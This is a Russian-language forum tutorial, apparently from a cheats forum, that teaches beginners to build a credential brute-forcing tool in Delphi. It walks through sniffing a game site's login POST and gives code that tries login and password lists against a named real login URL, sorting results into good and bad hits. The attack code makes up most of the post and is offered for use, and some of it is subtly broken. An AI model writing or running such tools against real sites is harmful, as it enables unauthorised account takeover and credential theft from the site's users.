Всем привет, дорогие друзья.
Сегодня я научу вас созданию однопоточного безпроксиевного брута (если вы хоть немного смыслите то сможете сделать это сами) с различными функциями.
Думаю, для бывалых программистов этот урок будет бесполезен, но новичкам возможно и поможет :)
Перейдем к делу.
Для начала запустим Delphi и любой сниффер.Я использую HttpAnalyzer5.Переходим на сайт, который хотите брутить.Жмем start, логинимся, stop.Находим пост запрос и переходим во вкладку post-data.
Видим параметры login и password и ссылку fantasyland.ru/login.php у вас конечно будут другие.Нам они позже понадобятся.
Перейдем к Delphi.
Для начала создадим 3 button, 2 memo, 1 edit, 3 label, 3 radio button и ключегой компонент
Idhttp, он находится во вкладке IndyClients.
Далее в object inspector выставляем у мемо, едита, лабелах visible:=False;
Начинаем кодить.
Для начала объявим переменные
Жмем на button1 2 раза, то-есть при клике пользователя задаем наш код.
И дальше я приготовил 3 метода брута.
if rb1.Checked then если пользователь поставил точку на 1 радио буттон, то брутим по одному логину и паролям.
if rb2.Checked then если 2, то брутим по 1 паролю и логинам.
if rb3.Checked then если 3, то брутим по log;pass
if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do - //делаем цикл от 0 до кол-ва всех строк в мемо1.
begin
info.add('login='+edt1.Text); //вот и наши параметры. вставляем сюда свои. записываем в логин текст из едита
info.add('password='+Mmo1.Lines.Strings[i]); //вот и наши параметры. вставляем сюда свои. записываем в пасс текст из мемо1
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info); //пост запрос, наша ссылка
if pos('window.top.document.location.href=', p.text)>0 then
begin //чекаем на валидность. если сервер нам прислал это, то
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
end //пишем в мемо2 log;pass - good
else
begin //если нет
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad'); //пишем log;pass - bad
end;
end;
Это 1-ый случай, если брутим по логину и паролям.
Вот 2-ой: тут в точности наоборот. Оффтоп
if rb2.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+Mmo1.Lines.Strings[i]);
info.add('password='+edt1.Text);
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
if rb3.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
y:=Pos(';', mmo1.Text); //узнаем позицию ;
info.add('login='+copy(Mmo1.Text, 1, y-1));
s:=length(mmo1.Text); //узнаем длину info.add('password='+copy(mmo1.Text, y+1, s));
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
Все, основная работа завершена.Теперь остается наладить радио буттоны.
Кликаем 2 раза по 3-ей кнопке и пишем Оффтоп
if rb1.Checked=True then
begin
mmo1.Text:=''; //очищаем, что бы можно было не перезапуская программу переходить в другой режим
edt1.Text:='';
mmo1.Visible:=True; //показываем элементы
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Пароли';
lbl3.Caption:='Логин';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb2.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Логины';
lbl3.Caption:='Пароль';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb3.Checked=True then
begin
mmo1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
lbl1.Caption:='log;pass';
lbl1.Visible:=True;
lbl2.Visible:=True;
end;
end;
Теперь сделаем кнопку сохранения лога.Кликаем по 2-ой кнопке и пишем
procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;
Ну вот и все, остается расположить компоненты в правильном порядке и назвать их.
P.s Не копипаст, писал все сам ^__^
Надеюсь мой труд не прошел даром, и если я помогу хоть кому-то, я буду знать, что трудился не зря.
Последний раз редактировалось Puck; 29.01.2012 в 19:32.
Я не оказываю услуги гаранта!
База данных кидал: blacklist.rf-cheats.ru
Обязательно проверяйте человека через чёрный список прежде чем совершать с ним сделку.